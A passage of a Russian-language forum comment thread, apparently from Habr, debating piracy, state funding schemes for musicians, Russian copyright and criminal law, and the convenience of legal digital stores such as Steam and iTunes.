Думаю, что самым справедливым способом распределения будет разделить K +αK на несколько частей в течении года, выдавая гражданам эти деньги виртуально и позволяя пожертвовать их любому исполнителю, так как они захотят, хоть все одному, хоть 1000 по копейке. Неиспользованные же средства распределять согласно востребованности исполнителей (поскольку есть единый сайт и библиотеки принадлежащие государству, то собрать подобную статистику проще простого).

Также возможно создать на базе этого проекта некое подобие kickstarter'a где музыканты будут сами просить финансирование на определенные цели (запись альбомов, покупка инструментов, организацию гастролей), как из распределяемых средств (K), так и из дополнительных денег, которые пользователи смогут внести через популярные средства оплаты.

* на деле, изначально придется договариваться с основными игроками на рынке, чтобы определить эту сумму. Но если лейбы будут не согласны участвовать, то это уже их проблема. Государство может умыть руки и больше не преследовать пиратов и их сайты.
** α может быть негативным, например если Правительство считает, что необходимо уменьшить количество предложения или же просто сэкономить деньги.
CorbenDallas
Вся эта схема страдает одним единственным недостатком: это готовый механизм для государственного контроля над искусством. А писатели это совесть нации. В советское время именно так и делали, превращая искусство в пропаганду. Только на за это еще придется платить.
Amlor
… только нам за это…
shiko_1st
Ну я например, в моем примере распределения описал, как можно было бы дать каждому гражданину возможностью распоряжаться его долей взноса.

То есть например, государство выделило 20 000 000 000 рублей/год на поддержку музыкального сектора, это где-то чуть менее 150 рублей на человека. Те кто хотят внести свою долю, заходят на портал музыки (скорее всего через данные своего аккуанта гос. услуг или аналогичного) и выбирают каким авторам они хотят эти деньги перечислить. Допустим в конце года осталось без распределения 5 000 000 000 рублей — эти деньги распределяются согласно формуле: чем более востребованы произведения исполнителя, тем больше он получит.

Итак, от государства необходимо не дискриминировать никого на момент регистрации музыкантов в системе и прозрачность во время подсчета статистики. Все. Более государство ни в чем не участвует.
Halt
Добавлю, что если сейчас финансирование идёт от потребителей к авторам через посредников типа лэйблов и даёт деньги в бюджет государству в виде налогов от НДС до НДФЛ и опять НДС, то предлагаемая вами схема будет изымать деньги из бюджета государства, то есть нужно будет увеличивать налоги для финансирования и авторов, и инфраструктуры, и производства носителей (диски бесплатно раздавать или, всё же, за сам носитель платить?)…

Лично я против выделения денег из бюджета на поддержку авторов (разве что кредит по ставке, например, ЦБ). С одной стороны это создаст зависимость авторов от государства, с другой уменьшит налоговые поступления и увеличит расходы бюджета, с третьей — если мне нравится музыка я и так её куплю, а вот если не нравится, или музыку вообще не слушаю, то платить за других не хочется.
koneko
Наши налоги часто идут на вещи которые нужны не всем гражданам: общественный транспорт (у кого-то машина), больницы (кто-то никогда не болеет), театры (кто-то никогда не был в театре), спортивные площадки (кто-то не занимается спортом), детские сады (у кого-то не будет детей)… Список можно продолжать долго. Потом есть некоторые очень дорогие проекты которые нужны очень малому количеству людей, например специалисты для лечения редких заболеваний.

Мы все это оплачиваем из наших налогов, но в целом можно сказать, что когда-то средства идут на то что вам надо, а когда нет, так или иначе, вы получаете равное число услуг среднему взносу всех граждан. Наше общество устроено на подобных принципах справедливости и если вы не хотите чтобы ваши налоги шли на оплату, скажем, лечения больных раком, то можете переезжать жить на необитаемый остров и там организовать микроэкономику центрированную на самого себя.

Далее, уменьшения налоговых поступлений. Если сейчас скажем в РФ граждане тратят 15 000 000 000 рублей на покупку музыки. Мы предоставим им ее бесплатно, платя эти 15 миллиардов авторам и правообладателям, расходы граждан сократятся, как раз на эти 15 000 000 000.

Далее. Кто эти граждане покупающие лицензионную музыку? Как правило это обеспеченные люди (средний, высший-средний и высший класс), давайте введем налог на роскошь, который как раз затронет высший-средний и высший класс и будем собирать те же 15 000 000 000 рублей с них (не говоря естественно, куда пойдут эти деньги). В результате будет то же самое, только теперь музыка будет доступна для всех.
Atrax
За лечение больных раком я готов платить налоги, за то, что молодежь будет свободно слушать «Сиськи-письки» или «Нахрен-похрен» мне очень не хочется. А ведь наибольшей популярностью будет пользоваться то, что «пипл хавает», а значит и наибольшее количество денег авторам этой «попсы» будет идти. Сейчас деньги им идут непосредственно от тех, кому их творчество нравится (пускай и не от всех), по вашей схеме пойдут и от тех, кто их терпеть не может.

Как правильно вы заметили 15 млрд. сейчас тратят как правило обеспеченные люди, но большинство налоговых поступлений, вроде как, платят не они. Да, кто-то платит 10 млн только НДФЛ, но на него найдётся 10 тыс. тех, кто платит только 2 тыс. и 50 тыс. тех, кто только 1 тыс. (цифры от балды, конечно). Увы, но российское общество распределено по доходам явно не по нормальному закону.

Налог на роскошь или прогрессивная ставка НДФЛ, да, может быть выходом и даже референдум по ним пройдёт почти единогласно, даже если говорить куда деньги пойдут (если планка «среднего класса» будет достаточно высока, а не на уровне средней зарплаты ~20 тыс. р), но не исключено, что это только снизит налоговые поступления из-за новой волны «чёрных» и «серых» зарплатных схем.

Ну и ещё вопрос возникает — как к этому отнесутся зарубежные авторы и правообладатели, не получится ли так, что, в крайнем случае, всё население России станет «невыездным», т. к. любого будут встречать у трапа самолёта или на перроне с иском о нарушении авторских прав?
koneko
Формула распределения которую я предложил предусматривает, что вся сумма распределяется равно между гражданами и каждый гражданин сам решает какому исполнителю ее пожертвовать. Неизрасходованные средства будут распределятся согласно популярности.


Не вижу тут никакой несправедливости. Вопрос музыкальных предпочтений сугубо индивидуален и к теме не имеет никакого отношения. В данной модели спрос поощряет предложение, разница с текущей моделью, в том, что люди у которых сейчас нет денег на покупку музыки, тоже могли участвовать в формировании спроса + отсутствие пиратства как таковога.

Вопрос сборов налогов в данной дискуссии не очень релевантный.

Так, по поводу зарубежных правообладателей все очень просто. Те кто не хотят участвовать — не участвуют. Но Россия перед ними свой долг выполнила. Если мы предложили рабочую систему, которая бы покончила с пиратством. Они отказались, мы их материалы использовать в нашей системе не можем. Но и теперь бороться с пиратством мы не обязаны.
Atrax
Есть разница. Сейчас люди, у которых есть деньги (и желание покупать) явно формируют доходы от произведений, причём автоматически, никаких лишних движений делать не надо будет. Люди у которых денег нет (или нет желания покупать) доходы не формируют никак. С вашей схемой получится, что доходы от произведений будут формировать те люди, которым небезразлично распределение доходов внутри индустрии (к тому же, если у них есть для этого возможность). К тому же не исключаю появление различных схем накруток доходов («переведи мне свои „виртуальные“ 150 р. и я дам тебе 100 реальных»)

Когда предлагаете проект со столь масштабным финансированием, да ещё за счёт ввода новых налогов, то очень даже релевантный, по-моему.

Не выполнит Россия этим своих уже взятых обязательств, а наоборот нарушит. Фактически ваша схема означает денонсацию или аннулирование участия в Бернской конвенции и подобных международных договорах, поскольку по Конституции РФ (ст. 15, ч. 4) международные договора имеют приоритет перед законами.
Atrax
Это было просто предложение как пример, на деле чтобы разработать рабочую систему компенсации правообладателей понадобится гораздо больше времени и участвующих специалистов. Но система которая существует сейчас практически не работает, вот если разовьют системы вроде spotify, что я буду платить 150-300 рублей в месяц и иметь доступ ко всем фильмам и музыки (через стриминг и файлы), то тогда с пиратством будет покончено и данная схему будет не нужна.

Бернская и последующие конвенции не предусматривают ничего против предложенной схемы.
koneko
Ну как же, они предусматривают право автора на распоряжение своими правами на произведение как ему угодно, в том числе продавать право на воспроизведение по любой цене. Ваша схема их этого лишает и по сути передаёт право распоряжаться произведением в руки государства.

А вообще, попробуйте эту схему (обсудив её не только со мной :) ) донести до Президента, он сказал, что ждёт предложений по новой модели авторского права, которую он хочет «внедрить» не только в России, но и «пользуясь служебным положением» предложить своим «коллегам» на очередном саммите «большой восьмерки» или чем-то похожем. Он, похоже, понимает, что существующая модель себя изживает и требует модернизации. Тут я с ним согласен :), но ни он, ни я :) нормальных альтернатив не видели
VolCh
Там нигде не указано, что государство не может занять позицию монополии на распределения произведений на цифровых носителях. Автор может продавать за сколько он хочет, кому хочет, но распределять в РФ смог бы только через государство по заданным схемам.

Зачем? Схема то не разработана, я просто привел пример, как государство может покончить с пиратством. Чтобы разработать действующий алгоритм могут потребоваться месяцы работы гораздо лучших специалистов чем я.
koneko
Объект преступления в данном случае — права на произведение, в частности право на воспроизведение, как например в ст. 137 объект преступления — право на тайну переписки (не случайно они находятся в одной главе УК).

И имущественный ущерб всё же наносится в большинстве случаев, раз кто-то всё же покупает, значит наверняка есть те, кто выбирал купить или скачать, но в последний момент решил не тратиться. Хотя, конечно, не по формуле «количество контрафактных экземпляров»*«количество лицензионных»
VolCh
В УК РФ нет статьи, которая бы описывала действия обычных пользователей скачивающий нелицензионный контент.

А насчет ущерба, то это доказать надо, что по сути невозможно. Презумпция невиновности не позволяет утверждать, что кто-то бы купил лицензионную версию, если бы нелицензионная не была бы доступна.
koneko
146 часть 2 и 3. Незаконное использование.

В гражданском праве нет презумпции невиновности, а возмещение имущественного ущерба относится к нему, а не уголовному.
VolCh
УК РФ, статьия 146, пункт 2
Незаконное использование объектов авторского права или смежных прав, а равно приобретение, хранение, перевозка контрафактных экземпляров произведений или фонограмм в целях сбыта, совершенные в крупном размере, — наказываются штрафом в размере до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период до восемнадцати месяцев, либо обязательными работами на срок от ста восьмидесяти до двухсот сорока часов, либо исправительными работами на срок до двух лет, либо лишением свободы на срок до двух лет.
Где цель сбыта? Статья неприменима, потому как отсутствует важнейший элемент типа. Действия пользователей атипичны для этой статьи.

УК РФ, статьия 146, пункт 2
Деяния, предусмотренные частью второй настоящей статьи
Третий пункт это дополнение ко второму, в случаях в нем предусмотренных. То есть это не отдельная статья, а список отягчающих обстоятельств если уже есть доказанное нарушение по второму пункту.

Ну и конечно же презумпция невиновности есть в ГК РФ. Просто она там в другом виде. Вообще презумпция невиновности это основополагающий принцип современных правовых систем — in dubio pro reo. В гражданских же отношениях оно видно потому, что во всяком обвинении тяга доказательной части лежит на истце, особенно когда мы говорим с вами о недополученной пребыли.
koneko
Я всегда считал, что «цели сбыта» в этой статье относятся только к «приобретение, хранение, перевозка контрафактных экземпляров произведений или фонограмм», но не к «Незаконное использование объектов авторского права или смежных прав».

При слушании гражданского иска вы, как истец, заявите «мой файл стоит 1000 руб, его скачали незаконно 1000 раз, недополученный доход — 1 000 000 руб». Я, как ответчик, или промолчу, или буду доказывать что использование было законным или вообще на слушание не явлюсь, но сам расчёт суммы оспаривать не буду. Если суд примет решение, что использовал я всё же незаконно может ли он в вердикт вносить какую-то свою сумму? Если может, то на каких основаниях, кроме «совести»?
VolCh
Неправильно считали, там же вполне ясно все написано. Когда возникает вопрос в интерпретации закона, необходимо либо прибегнуть к юристу, либо почитать юриспруденцию. Также можно поискать в учебниках права.

А где обоснования недополученного дохода? То что вы говорите 1000 раз по 1000 рублей, это сколько вы хотите получить, но не есть юридическое обоснование недополученной прибыли.

Если вы на суд не явитесь, то проиграете. Если будете молчать, или неправильно доказывать свою правоту, то тоже проиграете. Суд решает только по вопросам конфликта. Если вы согласны с компенсацией, но не согласны с тем, что у вас не было права использовать файл, то суд решит скорее всего только по вопросу конфликта (праве скачивать), вы проиграете и будете платить компенсацию, если ее не опротестовали.

Протест компенсации может быть любым, необоснованность (нет причерченного ущерба), чрезмерность (ущерб если и есть, то не такой большой).

Например, вы застряли в пробке в такси. Вы подаете в суд на таксиста или его компанию, так как вы опоздали на самолет и не смогли из за этого подать тендер на участие в конкурсе, для получение контракта на какую-то работу.

Вы должны доказать: что вы бы выиграли конкурс, что вы бы добрались до конкурса вовремя если бы такси не застряло в пробке, что нет вашей невнимательности в том, что вы могли выехать раньше и самое главное, в том что это была вина (неусмотрение), либо злой умысел таксиста попасть в пробку. В реальной жизни доказать все это невозможно.

Тут аналогично, истцу необходимо доказать, что у него был ущерб, и что ответчик причастен к этому ущербу. Формула: нелегальное скачивание = потерянная продажа это настолько абсурдное и необоснованное утверждение, что хочется плакать. Но нам так часто об этом твердит пропаганда в СМИ и блогах, что многие люди далекие от права уже берут это как данное.
koneko
Мне не ясно, и некоторым юристам тоже — случаи возбуждения уголовных дел за использование без целей сбыта не редки. Ну какая цель сбыта у админа, установившего на офисные компы пиратские винду и офис?

Ну кроме этой формулы есть закон, который, афаик, используют люди близкие к праву:
автор или иной правообладатель…, вправе… требовать по своему выбору от нарушителя вместо возмещения убытков выплаты компенсации:

в двукратном размере стоимости экземпляров произведения или в двукратном размере стоимости права использования произведения, определяемой исходя из цены, которая при сравнимых обстоятельствах обычно взимается за правомерное использование произведения.

нелегальное скачивание * 2 * цену экземпляра = компенсация
VolCh
Я таких юристов никогда не встречал если честно.

Админ который установил пиратское обеспечение имеет animus lucrandi, или же по русски, жажду обогащения (для себя или предприятия). Поэтому данная статья вполне применима. Хотя, я лично, все таки отказал от бы возбуждении уголовного дела за подобные действия, поскольку тут имеет место нарушение лицензий (то есть гражданские отношения).

Единственный способ для админа избежать здесь наказания, это заранее перевести ответственность на работодателя, например добиться прямого приказа в письменной форме: ставить пиратское программное обеспечение.

Далее.

ГК РФ, статья 1301. Ответственность за нарушение исключительного права на произведение
В случаях нарушения исключительного права на произведение автор или иной правообладатель наряду с использованием других применимых способов защиты и мер ответственности, установленных настоящим Кодексом (статьи 1250, 1252 и 1253), вправе в соответствии с пунктом 3 статьи 1252 настоящего Кодекса требовать по своему выбору от нарушителя вместо возмещения убытков выплаты компенсации: в размере от десяти тысяч рублей до пяти миллионов рублей, определяемом по усмотрению суда; в двукратном размере стоимости экземпляров произведения или в двукратном размере стоимости права использования произведения, определяемой исходя из цены, которая при сравнимых обстоятельствах обычно взимается за правомерное использование произведения.
Посмотрим, что говорит нам 3 пункт 1252 статьи ГК РФ.
3) о возмещении убытков — к лицу, неправомерно использовавшему результат интеллектуальной деятельности или средство индивидуализации без заключения соглашения с правообладателем (бездоговорное использование) либо иным образом нарушившему его исключительное право и причинившему ему ущерб;

Во-первых, 1301 статья говорит только о нарушении авторского права на производстве, что это? это использование чужих патентов без лицензии, производство контрафактных товаров, использование чужого программного обеспечения с целью извлечения выгоды… Ущерб производителю тут вполне ясен и понятен.
koneko
Про дело Поносва не слышали что ли? Или в прокуратуре не юристы работают? Какая у него была жажда обогащения?

Где вы нашли производство? O_o
VolCh
Титул 1301 статьи.

Так вот именно, что дело было инфицировано тупоголовыми папенькиными сынками, которые приобрели себе место в прокуратуре по блату.

Статья была абсолютно неприменима в том случае. А некомпетентность прокуратуры вопиющей. Именно поэтому Поносова оправдали, оплатили ему моральную компенсацию и принесли формальное извинение.
koneko
«исключительного права на произведение» —
то есть на объект авторского права — книгу, музыку, фильм, программу и т. п.

Тем не менее они юристы. Да и суд признавал его виновным, так что не только в прокуратуре дело. Но там ещё есть один нюанс — не он устанавливал на компы пиратскую винду, ему их с ней продали вроде как.
VolCh
А что, понятие соучастия в преступлении (даже совершённом по приказу) уже отменили?
koneko
Предпочитаю для этих целей github. Как-то код на торрент выкладывать некошерно :)
VolCh
Продублирую ещё и вам
Я работаю за спасибо. Я делаю две свободных библиотеки. Я бесплатно консультирую всех желающих по вопросам JavaScript (у меня в профиле указаны контактные данные). Около дюжины человек сейчас активно у меня консультируются. Тем более, я их консультирую в области, которой занимаюсь профессионально — я выращиваю(по крайней мере повышаю уровень) своих конкурентов. И всё это просто за благодарность. Мне приятно, когда человек стремится к знаниям и мне приятно, когда человек хочет получить мои знания. Более того, я активно разрабатываю две свободных js-библиотеки и небольшое количество набросков. Я пишу статьи на Хабр ради того, чтобы людям передать знания.

А зарабатываю я, когда ко мне приходит заказчик и заказывает у меня ПО. Да, мои свободные библиотеки и мои статьи на Хабре сделали меня высокоценимым специалистом, но зарабатываю я деньги с личных заказов.

Почему музыканты не могут так зарабатывать? Они могут выступать на концертах, писать музыку на заказ и т.д.

Я же не кричу, что мой LibCanvas никто не покупает из-за пиратства.
Это хотели услышать?

Но самое плохое то, что вы так и не поняли, о чём топик.
koneko
Вы наверное не в курсе, но практически все группы зарабатывают на живых выступлениях, концертах, мерче и прочей сопутствующей фигне. На дисках же заработать практически нереально, если вы конечно не звезда мирового масштаба генерирующая мультиплатиновые пластинки. Жаль не смог найти график, как обстоят дела с отчислениям авторам с продажи от одного диска, но в зависимости от лейбла, хорошо если автору достанется 10-15% от цены диска. Многие даже сами выкладывают свои песни в майспейс и ласт.фм, потому как это хороший пиар, больше слушателей — больше людей ходят на концерты. По той же причине растет популярность ITunse и Zune, это выгодней авторам, т.к. нет затрат на выпуск диска, доставку по магазинам и т.д. Это выгодно лейблам, т.к. покрывает большую аудиторию без особых затрат на ПР, и это выгодно пользователям, потому что это удобнее, и дешевле чем покупка СД.
VolCh
>настоящая музыка должна писаться в спокойствии и гармонии, других мыслей кроме как о музыке быть не должно, с уверенностью в завтрашнем дне.

Уверенность в завтрашнем дне особой роли не играет. Музыкант пишет музыку потому, что не может ее не писать. Моцарт и Бетховен, например, жили в бедности, что не мешало им сочинять.
koneko
Любитель Матвиенко и Димы Билана, разве не видно? ;)
VolCh
Моцарт, скажем, зарабатывал вполне прилично, но и транжирой он был первоклассным.

Все разговоры на эту тему странно звучат, потребителя вообще не должен волновать внутренний мир автора — хочет он быть голодным или нет; воровать, а потом оправдываться тем, что талант должен быть голодным — низкая аргументация.
lubezniy
Такс, что у вас за перевод темы? Вы же кричали чуть выше
вывалите весь ваш труд на торренты, а? кто смелый?


А вообще у меня есть подозрение, что вы — лицемерите. Анука скажите, ВСЕ ли ПО у вас дома — лицензионное? А вся музыка — лицензионная. И, естественно, вы ни разу не смотрели «пиратского» видео?

И да, а вы много своего контента выложили во всеобщий доступ?
RostislavDzinko
Ага! Значит, таки, лицемер. Как всем остальным, так: «Но вы то все ёпта о чём думаете?», мол мы такие плохие, нелицензионный контент используем.
А как сами, так «с музыкой сложнее. пиратская есть». Ну да, тут и проявляется описанный в топике пункт «доступность».
Интересно, найдётся хоть один честный? Даже Михалков, один из самых известных борцов за свободу контента — "вор, насильник и убийца", или как там любят передёргивать защитники копирайта?

Между прочим, у меня точно такая же ситуация. Я использую свободное ПО, хожу в кинотеатры, но не вся музыка, которую я люблю, доступна для покупки.

Но я честный с собой и с окружающими. А у защитников копирайта эти законы заканчиваются ровно тогда, когда они касаются их самих.
TheShock
Не считаете? Не покупайте! Я тоже не считаю, что пиратство — это нормально. Я считаю, что оно — закономерно при текущем отношении: «насрать на потребителя, схавает, что дадут»
CorbenDallas
А каким ещё может быть отношение, если качество — вторично и о нём думают, только когда оно приносит прибыль.
Agent_Smith
Какой именно альбом The Temptations Вы не можете найти в интернет-магазинах?

www.thetemptations.com/ — показывает кучу вариантов покупки. И это мы еще не брали цифровую дистрибуцию.
facha
А если живёшь в небольшом городке, где кинотеатров нет, а в ближайших магазинах из «Лицензионных» дисков только процентов 15-10, остальное такого качества, что просто слов нет. :(
TheShock
а что делать, если лицензии нет?
rg_software
Ну он же выше написал. Вам — не пользоваться, а ему — можно и скачать.
CorbenDallas
Если бы основной мой зароботок состоял в демонстрации одного и того же моего кода (средненького качества в общем-то) перед 100-тысячными аудиториями, то почему бы и нет.
TheShock
Вы знаете, я даже преподаю, практически «за спасибо» в лицее…

Но продублирую себя:
Но когда я вижу, как люди защищают, что (утрирую) «я буду пользоваться этим бесплатно, т.к. мне жалко денег, но я хочу, поэтому я считаю, что пиратство должно быть» — меня минимум коробит.

CorbenDallas
Прочитайте топик.
TheShock
Читал. Суть понял.
Это просто ответ на ваш комментарий, а не на топик.
CorbenDallas
Почитайте на что я отвечал. И где вы увидели у меня «пользоваться бесплатно», «жалко денег» и т.д.?
TheShock
Поддержу товарища в хорошо изложенной мысли (читал как самостоятельный пост)
wholeman
Когда-то помогал всем в классе решать задачки по физике, математике и информатике. Абсолютно даром… Помню на областной олимпиаде по математике, помогал на аппеляции своему конкуренту обосновать правоту его решения. Он поделил, в итоге, со мной место.
И всегда при этом была мысль — деньги или другое вознаграждение — все это временная вещь. Надо бороться за то, что бы общество целиком поумнело — вот это цель.
vk2
1) Если вы выворачиваете в эту сторону, то спешу заявить, знающий и умеющий объяснить другим оценивается намного выше
2) Общество потребления характеризуется не накопленными знаниями, а умением чего-нибудь впарить. Процесс впаривания осуществим только в том случае, если тот, кому впаривают, знает меньше того, кто впаривает. Вот так и живем сейчас
CorbenDallas
1) Пускай оценивается выше, но я, допустим, знающий и что-то умеющий, но точно не умеющий объяснять (на областной олимпиаде просто дал списать конкуренту :) ). Как мне не умереть с голоду в процессе борьбы за «умнение» общества? В рамках действующего законодательства я вижу приемлемый выход — написать софтинку, автоматизирующую что-нибудь, и продавать её экземпляры. Пользователи моей софтинки будут тратить меньше времени на рутину и больше на своё «умнение» (надеюсь, если нет, то это их выбор). И я буду тратить время освободившееся от работы, например, дворником на своё «умнение». В результате общество поумнеет в целом.
Mirgorod
Списать на обл олимпиаде — мда… Мне вас жалко. Списать и объяснить немного разные вещи. Програмка имеет в себе ключевой момент — «оптимизацию чьего то труда». Тоесть каждая ее копия имеет положительный экономический эфект. Какой эффект имеет копия песни/фильма? Я конечно понимаю, есть произведения имеющие эффект. Но их доля крайне мала и совершенно не оправдывают весь срач вокруг копирайтов и прочих предметов интелектульной собственности.
namezys
А почему меня жалко? Информация должна быть доступна и т. п. :)
TheShock
Придумали новый алгоритм? Так и опубликовали бы его на следующий день после олимпиады. Куда спешить?

Написали полезную программу? Ну и опубликуйте сорцы. Информация должна быть свободна же.

(В свете недавно обнаруженной способности Хабранарода не замечать намёки, сразу уточню. Суть коммента в том, чтобы обнаружить противоречие в ваших словах, посоветовать быть более последовательным и не впадать в крайности.)
smartov
Мой коммент тоже был саркастическим намёком, только я не догадался это пояснить. Я больше за существующую модель авторского права, чем за его фактическую отмену.
DSL88
Copyleft тоже подкрепляется авторским правом. Т.е. автор не отказывается от своего произведения и авторства и не отдаёт его в public domain. Автор делает его свободным, но он всё равно остаётся автором.
TheShock
Я про весь институт авторского права. Что автор должен определять, что можно делать с его произведением, а что нет (за несколькими исключениями).
DSL88
В принципе, одобряю. Народ пиратит, адвокаты богатеют, авторы переходят на бизнес модели со свободным распространением информации. Все довольны. Ну кроме ставших ненужными копирастов.
TheShock
не умереть с голоду можно разными способами. например, устроиться на работу. разве в твоем городе не нужны дворники, уборщики, грузчики и т.п. профессии без специальных знаний? или ты под голодом имеешь ввиду лишения тебя возможности сидеть в уютном офисе и заказывать суши?
FilimoniC
Моя работа дворником не способствует умнению общества. Ну, или способствует не так сильно, как если бы я писал софт.
futureader
Отлично. Напомнило «Кардинал и Боанасье = сила». ;) А вдруг твоя польза обществу будет куда более продуктивной на чистке сараев?
namezys
Зачем тогда общество 20 лет меня учило тому, что к чистке сараев никакого отношения не имеет?
futureader
«А если вместо того, чтобы заняться чисткой сараев — прямым своим делом! — пролетариат будет путь — вот вам и разруха...». Весь вопрос в том, что сейчас немодно быть пролетариатом. Даже программистом быть не можно — мы чернорабочие для тех, кто «делает деньги». И права — не авторские, а имущественные — волнуют именно их, кто к реальному производству (книг ли, тракторов) не имеет. Будучи при этом воротилами миропорядка.

Хм… так и снова до революционных песен дойдем :)
VolCh
"… будет петь"
futureader
Мы живем в обществе. Мы должны что-то потреблять.
Если уж совсем утрировать, то пенсии не должно быть — в биореактор всех
VolCh
Почему не должно быть? Вносишь деньги в пенсионный фонд пока молодой и здоровый, а потом их тратишь.
naryl
зачем вносить. Надо их тратить на развитие человечества
VolCh
Не хочу я тратить на такое человечество, которое меня в биореактор :) К тому же, взнос в пенсионный фонд это не прятание денег в кубышку, а инвестирование.
giner
Человечество — это не только достижение максимального развития. Это еще и люди
VolCh
Инвестирование, по идее, создаёт и блага для людей, и рабочие места, чтобы они могли эти блага себе позволить.
naryl
>Надо бороться за то, что бы общество целиком поумнело — вот это цель.

«Война — войной, а обед по расписанию!» :)
skaut8
Музыканты не могут так зарабатывать, потому что не могут. Потому что ставки не те.
z8z.livejournal.com/32666.html
VolCh
Если вы не заметили это не бложик музыкантов и режиссеров и мешать программный продукт с «нетленками» медиа индустрии неверно.
Программы:
1) Есть демо версия, скачал, поставил все понравилось — купил.
2) Апдейты, разработчик заботится о свое детище, за это я хочу ему платить
3) Саппорт!!! Могу позвонить-написать и скорее всего проблему решат или хотя бы попытаются
Кино, музыка, книги:
1) Как я могу оценить продукт? Выдержки, клипы и трейлеры не отражают вообще ничего
2) Что делать если я не доволен качеством продукта? По моей практике 90% — это полный хлам (это при учете того, что я НЕ смотрю американское и русское кино по умолчанию, не читаю Донцову и не слушаю Кристину Арбакайте)
3) Как я, как потребитель защищен от произвола медиа корпораций — никак.
skaut8
Знаю немало людей, которые покупают лицензионный фильм/музыку после того, как посмотрят/послушают пиратскую копию. Своего рода donate за понравившуюся вещь.
VolCh
Я так недавно с Crysis 2 сделал. Сначала скачал релиз с какого-то трекера, поиграл — очень понравилось. Взял и купил лицензионную версию, причём цифровую (болванка только место занимает).
Atrax
3) Редко, очень редко проблемы решают или хотя бы пытаются. Пробиться через первую линию техподдержки у некоторых разработчиков ПО (речь о крупных) та ещё задачка.
Atrax
Мне вот еще что не совсем понятно. Каким образом потратив на какое-то произведение определенный денежно-временный ресурс, зарабатывают в порядки больше (в денежном эквиваленте)? Ведь по сути дела, каждая проданная копия Марининой обеспеченна частью ввп. Количество копий не ограниченно, а ввп — очень. Получается, чем больше копий продается, тем меньше стоят деньги.
namezys
Странная какая-то логика. Каждая копия не обеспечена ВВП, а им является. Чем больше копий продаётся, тем больше ВВП, тем больше стоят деньги (если эмиссионная политика не компенсирует этот рост ВВП).
VolCh
Если вы сделаете и продадите копию трактора — то копия трактора ВВП и является. Копия песни ВВП не является.
namezys
Почему? Исходя из какого определения?
VolCh
Вы заметьте, что всю эту муть вставляют вовсе не авторы. Лично я не против заплатить автору за его труд, и я платил автору за его труд.

Всю эту муть вставляют издатели и прочие, наживающиеся на добром имени автора. И им я платить совершенно не хочу.
namezys
Продвинуть продукт на рынок зачастую гораздо сложнее, чем создать его.
VolCh
Странно, но с тем же аниме упомянутый вами процесс «продвижения» происходит полностью бесплатно и более того — против воли официальных «продвигателей» :) И «суммарное» качество продукта при таком «продвижении» выше чем у продвигателей — оригинальный звук + хорошие субтитры лучше, чем приглушенная оригинальная дорожка и русский дубляж.
VolCh
Аниме по тихоньку тоже входит в наш рынок. Правда покупать его сильно не хотят
rg_software
не привыкли + боятся того страшного перевода, который там может оказаться
aseroth
Вот и посчитайте затраты на вывод продукта на рынок. Я не думаю, что создатель — художник и аниматор сможет хотя-бы окупить создание продукта без помощи из вне. Неудивительно желание издателя рубить бабло после того, как они смогли фактически свернуть гору в потребительском сознании и заставить людей платить за это.
graf_oxigen
Джинсы и жвачка в 60е-80е тоже сами прокладывали себе дорогу, а теперь я хочу посмотреть на вас как вы будете двигать на рынок новый брэнд. Но за идею с аниме спасибо, надо будет поинтересоваться почему спрос есть, а рынка нет.
burjui
Спрос узкоспециализирован и «не та аудитория», имхо. Да, один анимешник может сутками смотреть все подряд, но он всего один, и как только его попросят платить за просмотренное, он начнет выбирать и отказываться от чего-либо. Сравните ту же «Эврику» с «Разефоном» — разница колоссальна.

Я знаю лишь 2 человек, которые смотрят аниме. Остальные же смотрят на него в лучшем случае как на воздух.
RussianNeuroMancer
и, да, хорошего интересного аниме не так много.
В добавок, часто оно содержит в себе дух японии, что не вписывается, и, главное, непонятно русскому человеку.
futureader
Аниме хорошо продавать, если его просмотр бесплатен (а вставлен реклама, например)
VolCh
То есть учитывая непопулярность аниме, затраты на перевод, покупку возможности трансляции, то можно сесть перед теликом и в перерывах между рекламой пытаться смотреть аниме.
futureader
ivi.ru — там есть аниме
VolCh
>вывалите весь ваш труд на торренты, а?

зачем в торренты? публичный гит-репозиторий намного удобнее.
merlin-vrn
Я, например, разрабатываю flash-игры — и все они доступны бесплатно. Ещё я занят в проекте ММО по free2play-лицензии, который мы, после завершения первой же локации, выложим как раз на торренты)
fzn7
У вас есть opensource-игры? Хотелось бы взглянуть хоть разок на используемые технологии, а то в интернетах какие-то пресные туториалы все.
Narical
Opensource нет, но мы можем предоставить код пары проектов, если Вы действительно хотите именно учиться, а не тупо рескинить (ну, или рескинить с нашим участием))).
namezys
Буду очень признателен. Интересует аркадная механика и взаимодействие, в основном.
FilimoniC
Простой пример — Android Market. Штука, где люди покупают софт для своих гуглофонов. Это просто, быстро, надёжно и чертовски удобно. С тех пор, как покупать разрешают не только жителям US я перестал пиратить софт для своего телефона — искать его по форумам, а потом ещё следить за обновлениями… Да ну его нафиг! Мне проще пару баксов отдать в два клика.

Посмотрите как iTunes почти полностью убил пиратство в аудио-мире в США — никому в голову не придёт ползать по торрентам, искать нормальное качество, качать музу, следить за рейтингом download/upload, заливать в плейер отдельно и т.д. В тыщу раз проще зайти в тунца и слить музу напрямую в телефон/айпод.

Тоже самое и с играми. Я плотно подсел на Steam, потому что это чертовски удобно. Все мои игры всегда со мной на всех пяти компах, что есть у меня дома. И в гости я могу спокойно придти и по-быстрому скачать что-то для лан-парти. Мне не надо искать игру по трекерам, мне не надо думать какая там версия, как ломать и следить за этим долбаным рейтингом. Я тыкнул кнопу и играю.

Видео-индустрии пора подтягиваться. Я хочу кино! Я хочу FullHD! Я хочу в ОДИН КЛИК! С кучей звуковых дорожек на всех языках мира, со всеми возможными субтитрами, альтернативными концовками и т.д. Я ХОЧУ ВСЁ И СРАЗУ! И В ОДИН КЛИК! Но пока что в этой области рулят торренты. Там два клика и занудный поиск. Но я надеюсь всё изменится.
fzn7
Не играйте в гостях :)
fzn7
А я хочу пользоваться Линукс, под который нет ни Стима, ни Айтюнса. DRM — зло.
FilimoniC
Про DRM отдельный разговор. Я отвечал человеку, который думает, что либо деньги зарабатывать, либо от пиратства умереть и третьего варианта не дано.
FilimoniC
Под него и подавляюего большинства тех игр нативно нету. Но под вайном, говорят, работает (кроме оверлея).
namezys
А музыка и фильмы под него есть, причём столько же, сколько и под другие платформы :)
FilimoniC
Меньше, если приобретать легально. Проблема с DRM (спасибо, кинокод), Silverlight (спасибо, Мосфильм) и т. п.
namezys
Не айтюнсом единым…
Есть один отличный, но почему-то малоизвестный магазин, предлагающий кучу немейнстримных исполнителей в любом удобном качестве и формате, включая lossless: MusicIsHere. Естественно, никакого DRM.
muromec
